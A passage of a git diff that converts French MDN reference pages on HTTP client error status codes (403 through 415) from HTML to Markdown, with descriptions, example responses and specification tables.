Forbidden</code></strong> indique qu'un serveur comprend la requête mais refuse de l'autoriser.</p> +Le code de statut d'erreur de réponse HTTP **`403 Forbidden`** indique qu'un serveur comprend la requête mais refuse de l'autoriser. -<p>Ce statut est similaire au statut {{HTTPStatus("401")}}, mais dans ce cas, la ré-authentification ne changera rien. L'accès est définitivement interdit et est lié à la logique de l'application, par exemple manque d'une permission d'accès à une ressource.</p> +Ce statut est similaire au statut {{HTTPStatus("401")}}, mais dans ce cas, la ré-authentification ne changera rien. L'accès est définitivement interdit et est lié à la logique de l'application, par exemple manque d'une permission d'accès à une ressource. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">403 Forbidden</pre> + 403 Forbidden -<h2 id="Exemple_de_réponse">Exemple de réponse</h2> +## Exemple de réponse -<pre>HTTP/1.1 403 Forbidden -Date: Wed, 21 Oct 2015 07:28:00 GMT -</pre> + HTTP/1.1 403 Forbidden + Date: Wed, 21 Oct 2015 07:28:00 GMT -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "403 Forbidden" , "6.5.3")}}</td> - <td>HTTP/1.1: Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------- | ------------------------------- | +| {{RFC("7231", "403 Forbidden" , "6.5.3")}} | HTTP/1.1: Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/status", "403")}}</p> +{{Compat("http/status", "403")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPStatus("401")}}</li> -</ul> +- {{HTTPStatus("401")}} diff --git a/files/fr/web/http/status/404/index.md b/files/fr/web/http/status/404/index.md index 425096c7e9..7a4d18cf24 100644 --- a/files/fr/web/http/status/404/index.md +++ b/files/fr/web/http/status/404/index.md @@ -8,52 +8,37 @@ tags: - Référence(2) translation_of: Web/HTTP/Status/404 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse HTTP <code><strong>404</strong></code><strong><code> Not Found</code></strong> indique qu'un serveur ne peut pas trouver la ressource demandée. Cette réponse est probablement la plus connue du fait de sa fréquence d'apparition sur le Web. Les liens qui entraînent cette erreur sont souvent appelés liens morts ou brisés et conduisent à un <a href="https://fr.wikipedia.org/wiki/Lien_rompu">lien rompu</a>.</p> +Le code de statut de réponse HTTP **`404`\*\***` Not Found`\*\* indique qu'un serveur ne peut pas trouver la ressource demandée. Cette réponse est probablement la plus connue du fait de sa fréquence d'apparition sur le Web. Les liens qui entraînent cette erreur sont souvent appelés liens morts ou brisés et conduisent à un [lien rompu](https://fr.wikipedia.org/wiki/Lien_rompu). -<p>Un code de statut 404 n'indique pas si cette absence est temporaire ou permanente. Si le serveur sait que cette condition est permanente, il faudra alors utiliser un code {{HTTPStatus(410)}} (Gone) à la place.</p> +Un code de statut 404 n'indique pas si cette absence est temporaire ou permanente. Si le serveur sait que cette condition est permanente, il faudra alors utiliser un code {{HTTPStatus(410)}} (Gone) à la place. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">404 Not Found</pre> + 404 Not Found -<h2 id="Pages_d'erreur_personnalisées">Pages d'erreur personnalisées</h2> +## Pages d'erreur personnalisées -<p>De nombreux sites Web personnalisent le style de la page 404 afin que celle-ci soit plus utile pour l'utilisateur et fournisse une certaine aide. Les serveurs Apache peuvent par exemple être configurés en utilisant un fichier <code>.htaccess</code> contenant un fragment de code tel que celui-ci :</p> +De nombreux sites Web personnalisent le style de la page 404 afin que celle-ci soit plus utile pour l'utilisateur et fournisse une certaine aide. Les serveurs Apache peuvent par exemple être configurés en utilisant un fichier `.htaccess` contenant un fragment de code tel que celui-ci : -<pre>ErrorDocument 404 /notfound.html</pre> + ErrorDocument 404 /notfound.html -<p>Vous pouvez aussi vous inspirer de <a href="/fr/404">la page 404 de MDN</a>.</p> +Vous pouvez aussi vous inspirer de [la page 404 de MDN](/fr/404). -<div class="note"> -<p><strong>Note :</strong> le style des pages 404 est <a href="https://www.google.fr/search?q=awesome+404+pages">une source d'inspiration infinie</a>, mais sachez qu'il existe également un <a href="https://alistapart.com/article/perfect404">ensemble de meilleurs pratiques</a> pour que cette page particulière soit utile pour les utilisateurs.</p> -</div> +> **Note :** le style des pages 404 est [une source d'inspiration infinie](https://www.google.fr/search?q=awesome+404+pages), mais sachez qu'il existe également un [ensemble de meilleurs pratiques](https://alistapart.com/article/perfect404) pour que cette page particulière soit utile pour les utilisateurs. -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "404 Not Found" , "6.5.4")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "404 Not Found" , "6.5.4")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/status", "404")}}</p> +{{Compat("http/status", "404")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPStatus(410)}}</li> - <li> - <p>{{interwiki("wikipedia", "HTTP_404", "Wikipedia: HTTP 404")}}</p> - </li> -</ul> +- {{HTTPStatus(410)}} +- {{interwiki("wikipedia", "HTTP_404", "Wikipedia: HTTP 404")}} diff --git a/files/fr/web/http/status/405/index.md b/files/fr/web/http/status/405/index.md index bccc745b4e..7bf32fa592 100644 --- a/files/fr/web/http/status/405/index.md +++ b/files/fr/web/http/status/405/index.md @@ -8,33 +8,22 @@ tags: - Reference translation_of: Web/HTTP/Status/405 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse HTTP <code><strong>405</strong></code><strong><code> Method Not Allowed</code></strong> indique que la méthode utilisée pour la requête est connue du serveur mais qu'elle n'est pas supportée par la ressource ciblée. </p> +Le code de statut de réponse HTTP **`405`\*\***` Method Not Allowed`\*\* indique que la méthode utilisée pour la requête est connue du serveur mais qu'elle n'est pas supportée par la ressource ciblée. -<p>Le serveur doit générer un champ <strong><code>Allow</code></strong> dans le header en cas de réponse 405, contenant la liste des méthodes supportées par la ressource ciblée.</p> +Le serveur doit générer un champ **`Allow`** dans le header en cas de réponse 405, contenant la liste des méthodes supportées par la ressource ciblée. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">405 Method Not Allowed</pre> + 405 Method Not Allowed -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "405 Method Not Allowed" , "6.5.5")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "405 Method Not Allowed" , "6.5.5")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Allow")}}</li> -</ul> +- {{HTTPHeader("Allow")}} diff --git a/files/fr/web/http/status/406/index.md b/files/fr/web/http/status/406/index.md index 85643acd4b..09898253bc 100644 --- a/files/fr/web/http/status/406/index.md +++ b/files/fr/web/http/status/406/index.md @@ -7,41 +7,30 @@ tags: - Reference translation_of: Web/HTTP/Status/406 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de réponse d'erreur HTTP <code><strong>406</strong></code><strong><code> Not Acceptable</code></strong> indique qu'il est impossible de servir une réponse qui satisfait aux critères définis dans les en-têtes {{HTTPHeader("Accept-Charset")}} et {{HTTPHeader("Accept-Language")}}.</p> +Le code de réponse d'erreur HTTP **`406`\*\***` Not Acceptable`\*\* indique qu'il est impossible de servir une réponse qui satisfait aux critères définis dans les en-têtes {{HTTPHeader("Accept-Charset")}} et {{HTTPHeader("Accept-Language")}}. -<p>En réalité, cette erreur est très rarement utilisée. Plutôt que de répondre avec ce code, incompréhensible de l'utilisateur (et difficile à résoudre), les serveurs ignorent les en-têtes en question et renvoient une page à l'utilisateur. On part du principe que, même si l'utilisateur ne sera pas complètement satisfait, ce scénario est préférable à un code d'erreur.</p> +En réalité, cette erreur est très rarement utilisée. Plutôt que de répondre avec ce code, incompréhensible de l'utilisateur (et difficile à résoudre), les serveurs ignorent les en-têtes en question et renvoient une page à l'utilisateur. On part du principe que, même si l'utilisateur ne sera pas complètement satisfait, ce scénario est préférable à un code d'erreur. -<p>Si un serveur renvoie ce code d'erreur, le corps du message doit contenir la liste des représentations disponibles pour cette ressource afin de pouvoir choisir manuellement parmi celles-ci.</p> +Si un serveur renvoie ce code d'erreur, le corps du message doit contenir la liste des représentations disponibles pour cette ressource afin de pouvoir choisir manuellement parmi celles-ci. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">406 Not Acceptable</pre> + 406 Not Acceptable -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "406 Not Acceptable" , "6.5.6")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ---------------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "406 Not Acceptable" , "6.5.6")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/status", "406")}}</p> +{{Compat("http/status", "406")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Accept-Language")}}</li> - <li>{{HTTPHeader("Accept-Charset")}}</li> - <li><a href="/fr/docs/Web/HTTP/Content_negotiation">Négociation du contenu en HTTP</a></li> -</ul> +- {{HTTPHeader("Accept-Language")}} +- {{HTTPHeader("Accept-Charset")}} +- [Négociation du contenu en HTTP](/fr/docs/Web/HTTP/Content_negotiation) diff --git a/files/fr/web/http/status/407/index.md b/files/fr/web/http/status/407/index.md index e1663f1236..ee425b6b75 100644 --- a/files/fr/web/http/status/407/index.md +++ b/files/fr/web/http/status/407/index.md @@ -8,48 +8,37 @@ tags: - Reference translation_of: Web/HTTP/Status/407 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de réponse d'erreur HTTP <strong><code>407 Proxy Authentication Required </code></strong> indique que la requête n'a pas été appliquée à cause d'un manque d'authentification pour un {{Glossary("proxy")}} situé entre le navigateur et le serveur qui peut accéder à la ressource demandée.</p> +Le code de réponse d'erreur HTTP **`407 Proxy Authentication Required `**indique que la requête n'a pas été appliquée à cause d'un manque d'authentification pour un {{Glossary("proxy")}} situé entre le navigateur et le serveur qui peut accéder à la ressource demandée. -<p>Ce code de statut est envoyé avec l'en-tête {{HTTPHeader("Proxy-Authenticate")}} qui contient les informations décrivant la façon de s'authentifier correctement.</p> +Ce code de statut est envoyé avec l'en-tête {{HTTPHeader("Proxy-Authenticate")}} qui contient les informations décrivant la façon de s'authentifier correctement. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">407 Proxy Authentication Required </pre> + 407 Proxy Authentication Required -<h2 id="Exemple_de_réponse">Exemple de réponse</h2> +## Exemple de réponse -<pre>HTTP/1.1 407 Proxy Authentication Required -Date: Wed, 21 Oct 2015 07:28:00 GMT -Proxy-Authenticate: Basic realm="Access to internal site"</pre> + HTTP/1.1 407 Proxy Authentication Required + Date: Wed, 21 Oct 2015 07:28:00 GMT + Proxy-Authenticate: Basic realm="Access to internal site" -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7235", "407 Proxy Authentication Required" , "3.2")}}</td> - <td>HTTP/1.1: Authentication</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------------------------------- | ------------------------ | +| {{RFC("7235", "407 Proxy Authentication Required" , "3.2")}} | HTTP/1.1: Authentication | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/status", "407")}}</p> +{{Compat("http/status", "407")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/HTTP/Authentication">La gestion de l'authentification en HTTP</a></li> - <li>{{HTTPHeader("WWW-Authenticate")}}</li> - <li>{{HTTPHeader("Authorization")}}</li> - <li>{{HTTPHeader("Proxy-Authorization")}}</li> - <li>{{HTTPHeader("Proxy-Authenticate")}}</li> - <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}</li> -</ul> +- [La gestion de l'authentification en HTTP](/fr/docs/Web/HTTP/Authentication) +- {{HTTPHeader("WWW-Authenticate")}} +- {{HTTPHeader("Authorization")}} +- {{HTTPHeader("Proxy-Authorization")}} +- {{HTTPHeader("Proxy-Authenticate")}} +- {{HTTPStatus("401")}}, {{HTTPStatus("403")}} diff --git a/files/fr/web/http/status/408/index.md b/files/fr/web/http/status/408/index.md index 5ff604f4fd..907c820861 100644 --- a/files/fr/web/http/status/408/index.md +++ b/files/fr/web/http/status/408/index.md @@ -8,36 +8,25 @@ tags: - Référence(2) translation_of: Web/HTTP/Status/408 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse HTTP <code><strong>408</strong></code><strong><code> Request Timeout</code></strong> indique que le serveur souhaiterait clôturer cette connexion inutilisée. Pour certains serveurs, ce code est parfois envoyé sur une connexion inactive sans qu'il y ait nécessairement eu de requête de la part du client.</p> +Le code de statut de réponse HTTP **`408`\*\***` Request Timeout`\*\* indique que le serveur souhaiterait clôturer cette connexion inutilisée. Pour certains serveurs, ce code est parfois envoyé sur une connexion inactive sans qu'il y ait nécessairement eu de requête de la part du client. -<p>Un serveur doit envoyer l'en-tête {{HTTPHeader("Connection")}} avec la valeur <code>"close"</code> en réponse, puisque 408 implique que le serveur a décidé de fermer la connexion plutôt que de continuer à attendre.</p> +Un serveur doit envoyer l'en-tête {{HTTPHeader("Connection")}} avec la valeur `"close"` en réponse, puisque 408 implique que le serveur a décidé de fermer la connexion plutôt que de continuer à attendre. -<p>Cette réponse est plus utilisée depuis que certains navigateurs, comme Chrome, Firefox 27+ ou IE9, utilisent le mécanisme HTTP de pré-connexion qui permet d'accélérer la navigation. On notera également que certains serveurs ferment purement et simplement la connexion, sans renvoyer ce message.</p> +Cette réponse est plus utilisée depuis que certains navigateurs, comme Chrome, Firefox 27+ ou IE9, utilisent le mécanisme HTTP de pré-connexion qui permet d'accélérer la navigation. On notera également que certains serveurs ferment purement et simplement la connexion, sans renvoyer ce message. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">408 Request Timeout</pre> + 408 Request Timeout -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "408 Request Timeout" , "6.5.7")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ---------------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "408 Request Timeout" , "6.5.7")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Connection")}}</li> - <li>{{HTTPHeader("X-DNS-Prefetch-Control")}}</li> -</ul> +- {{HTTPHeader("Connection")}} +- {{HTTPHeader("X-DNS-Prefetch-Control")}} diff --git a/files/fr/web/http/status/409/index.md b/files/fr/web/http/status/409/index.md index 650af5bc3c..44e8b2179d 100644 --- a/files/fr/web/http/status/409/index.md +++ b/files/fr/web/http/status/409/index.md @@ -8,33 +8,22 @@ tags: - Reference translation_of: Web/HTTP/Status/409 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse <code><strong>409 Conflict</strong></code> indique que la requête entre en conflit avec l'état actuel du serveur.</p> +Le code de statut de réponse **`409 Conflict`** indique que la requête entre en conflit avec l'état actuel du serveur. -<p>Les conflits se produisent généralement en réponse à une requête {{HTTPMethod("PUT")}}. Par exemple, vous pouvez obtenir une réponse 409 lorsque vous téléversez un fichier qui est plus vieux que celui déjà présent sur le serveur, ce qui entraine un conflit de contrôle de version.</p> +Les conflits se produisent généralement en réponse à une requête {{HTTPMethod("PUT")}}. Par exemple, vous pouvez obtenir une réponse 409 lorsque vous téléversez un fichier qui est plus vieux que celui déjà présent sur le serveur, ce qui entraine un conflit de contrôle de version. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">409 Conflict</pre> + 409 Conflict -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "409 Conflict" , "6.5.8")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "409 Conflict" , "6.5.8")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPMethod("PUT")}}</li> -</ul> +- {{HTTPMethod("PUT")}} diff --git a/files/fr/web/http/status/410/index.md b/files/fr/web/http/status/410/index.md index 2bd74c4112..9c5aa6a231 100644 --- a/files/fr/web/http/status/410/index.md +++ b/files/fr/web/http/status/410/index.md @@ -8,43 +8,30 @@ tags: - Référence(2) translation_of: Web/HTTP/Status/410 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de réponse d'erreur HyperText Transfer Protocol (HTTP) <code><strong>410</strong></code><strong><code> Gone</code></strong> est une erreur client qui indique que l'accès à la ressource visée n'est plus disponible sur le serveur d'origine et que cet état est susceptible d'être définitif.</p> +Le code de réponse d'erreur HyperText Transfer Protocol (HTTP) **`410`\*\***` Gone`\*\* est une erreur client qui indique que l'accès à la ressource visée n'est plus disponible sur le serveur d'origine et que cet état est susceptible d'être définitif. -<p>Si vous ne savez pas si cette absence est temporaire ou permanente, il est préférable de renvoyer un code de statut {{HTTPStatus(404)}}.</p> +Si vous ne savez pas si cette absence est temporaire ou permanente, il est préférable de renvoyer un code de statut {{HTTPStatus(404)}}. -<div class="note"> -<p><strong>Note :</strong> Par défaut, une réponse 410 peut être mise en cache.</p> -</div> +> **Note :** Par défaut, une réponse 410 peut être mise en cache. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">410 Gone</pre> + 410 Gone -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "410 Gone" , "6.5.9")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ------------------------------------------------ | ------------------------------------------------------------- | +| {{RFC("7231", "410 Gone" , "6.5.9")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>L'information ci-dessous provient du GitHub de MDN (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p> +L'information ci-dessous provient du GitHub de MDN (<https://github.com/mdn/browser-compat-data>). -<p>{{Compat("http.status.410")}}</p> +{{Compat("http.status.410")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPStatus(404)}}</li> -</ul> +- {{HTTPStatus(404)}} diff --git a/files/fr/web/http/status/411/index.md b/files/fr/web/http/status/411/index.md index f260e8bf8c..0b1f7d2478 100644 --- a/files/fr/web/http/status/411/index.md +++ b/files/fr/web/http/status/411/index.md @@ -8,34 +8,23 @@ tags: - Reference translation_of: Web/HTTP/Status/411 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de réponse d'erreur HTTP <code><strong>411</strong></code><strong><code> Length Required</code></strong> indique que le serveur refuse d'accepter la requête si celle-ci ne contient pas d'en-tête {{HTTPHeader("Content-Length")}}.</p> +Le code de réponse d'erreur HTTP **`411`\*\***` Length Required`\*\* indique que le serveur refuse d'accepter la requête si celle-ci ne contient pas d'en-tête {{HTTPHeader("Content-Length")}}. -<p>On notera que, selon la spécification, lors de l'envoi de données en plusieurs fragments, l'en-tête <code>Content-Length</code> est absent et il est nécessaire d'ajouter la longueur du fragment courant au format hexadécimal. Pour plus de détails, se référer à la page sur l'en-tête {{HTTPHeader("Transfer-Encoding")}}.</p> +On notera que, selon la spécification, lors de l'envoi de données en plusieurs fragments, l'en-tête `Content-Length` est absent et il est nécessaire d'ajouter la longueur du fragment courant au format hexadécimal. Pour plus de détails, se référer à la page sur l'en-tête {{HTTPHeader("Transfer-Encoding")}}. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">411 Length Required</pre> + 411 Length Required -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "411 Length Required" , "6.5.10")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ---------------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "411 Length Required" , "6.5.10")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Length")}}</li> - <li>{{HTTPHeader("Transfer-Encoding")}}</li> -</ul> +- {{HTTPHeader("Content-Length")}} +- {{HTTPHeader("Transfer-Encoding")}} diff --git a/files/fr/web/http/status/412/index.md b/files/fr/web/http/status/412/index.md index 0516054c5d..6de1869c05 100644 --- a/files/fr/web/http/status/412/index.md +++ b/files/fr/web/http/status/412/index.md @@ -8,38 +8,27 @@ tags: - Reference translation_of: Web/HTTP/Status/412 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de réponse d'erreur HTTP <code><strong>412</strong></code><strong><code> Precondition Failed</code></strong> indique que l'accès à la ressource visée a été refusé. Cela arrive avec les requêtes conditionnelles lorsque les méthodes utilisées ne sont pas {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}} et que la condition définie par les en-têtes {{HTTPHeader("If-Unmodified-Since")}} ou {{HTTPHeader("If-None-Match")}} n'est pas respectée. Dans ce cas, la requête, généralement un téléversement ou une modification d'une ressource, ne peut être appliquée et ce code de réponse d'erreur est renvoyé.</p> +Le code de réponse d'erreur HTTP **`412`\*\***` Precondition Failed`\*\* indique que l'accès à la ressource visée a été refusé. Cela arrive avec les requêtes conditionnelles lorsque les méthodes utilisées ne sont pas {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}} et que la condition définie par les en-têtes {{HTTPHeader("If-Unmodified-Since")}} ou {{HTTPHeader("If-None-Match")}} n'est pas respectée. Dans ce cas, la requête, généralement un téléversement ou une modification d'une ressource, ne peut être appliquée et ce code de réponse d'erreur est renvoyé. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">412 Precondition Failed</pre> + 412 Precondition Failed -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7232", "412 Precondition Failed" , "4.2")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------------------- | ------------------------------------------------------------ | +| {{RFC("7232", "412 Precondition Failed" , "4.2")}} | Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/status", "412")}}</p> +{{Compat("http/status", "412")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPStatus("304")}}</li> - <li>{{HTTPHeader("If-Unmodified-Since")}}</li> - <li>{{HTTPHeader("If-None-Match")}}</li> - <li>{{HTTPStatus("428")}}</li> -</ul> +- {{HTTPStatus("304")}} +- {{HTTPHeader("If-Unmodified-Since")}} +- {{HTTPHeader("If-None-Match")}} +- {{HTTPStatus("428")}} diff --git a/files/fr/web/http/status/413/index.md b/files/fr/web/http/status/413/index.md index 4576e41da5..00dda747c0 100644 --- a/files/fr/web/http/status/413/index.md +++ b/files/fr/web/http/status/413/index.md @@ -8,32 +8,21 @@ tags: - Reference translation_of: Web/HTTP/Status/413 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse <code><strong>413 Payload Too Large</strong></code> indique que la taille de l'entité fournie par la requête est supérieure aux limites définies par le serveur. Le serveur peut alors choisir de fermer la connexion ou de renvoyer un en-tête {{HTTPHeader("Retry-After")}}.</p> +Le code de statut de réponse **`413 Payload Too Large`** indique que la taille de l'entité fournie par la requête est supérieure aux limites définies par le serveur. Le serveur peut alors choisir de fermer la connexion ou de renvoyer un en-tête {{HTTPHeader("Retry-After")}}. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">413 Payload Too Large</pre> + 413 Payload Too Large -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "413 Payload Too Large" , "6.5.11")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "413 Payload Too Large" , "6.5.11")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Connection")}}</li> - <li>{{HTTPHeader("Retry-After")}}</li> -</ul> +- {{HTTPHeader("Connection")}} +- {{HTTPHeader("Retry-After")}} diff --git a/files/fr/web/http/status/414/index.md b/files/fr/web/http/status/414/index.md index b8963027ef..c3e915b073 100644 --- a/files/fr/web/http/status/414/index.md +++ b/files/fr/web/http/status/414/index.md @@ -8,39 +8,26 @@ tags: - Reference translation_of: Web/HTTP/Status/414 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse HTTP <code><strong>414 URI Too Long</strong></code> indique que l'URI demandé par le client est plus longue que ce que le serveur est disposé à interpréter.</p> +Le code de statut de réponse HTTP **`414 URI Too Long`** indique que l'URI demandé par le client est plus longue que ce que le serveur est disposé à interpréter. -<p>Il existe quelques rares cas de figure pour lesquels cela peut se produire :</p> +Il existe quelques rares cas de figure pour lesquels cela peut se produire : -<ul> - <li>un client a mal converti une requête {{HTTPMethod("POST")}} vers une requête {{HTTPMethod("GET")}} qui contient de nombreuses informations,</li> - <li>un client est descendu dans une boucle de redirection (par exemple, un URI de redirection qui pointe vers un suffixe de lui-même),</li> - <li>un serveur est sous le coup d'une attaque par un client qui tente d'exploiter des failles de sécurité potentielles.</li> -</ul> +- un client a mal converti une requête {{HTTPMethod("POST")}} vers une requête {{HTTPMethod("GET")}} qui contient de nombreuses informations, +- un client est descendu dans une boucle de redirection (par exemple, un URI de redirection qui pointe vers un suffixe de lui-même), +- un serveur est sous le coup d'une attaque par un client qui tente d'exploiter des failles de sécurité potentielles. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">414 URI Too Long</pre> + 414 URI Too Long -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "414 URI Too Long" , "6.5.12")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ------------------------------------------------------------ | ------------------------------------------------------------- | +| {{RFC("7231", "414 URI Too Long" , "6.5.12")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{Glossary("URI")}}</li> -</ul> +- {{Glossary("URI")}} diff --git a/files/fr/web/http/status/415/index.md b/files/fr/web/http/status/415/index.md index 9c4f8ce71f..cb83793226 100644 --- a/files/fr/web/http/status/415/index.md +++ b/files/fr/web/http/status/415/index.md @@ -8,35 +8,24 @@ tags: - Reference translation_of: 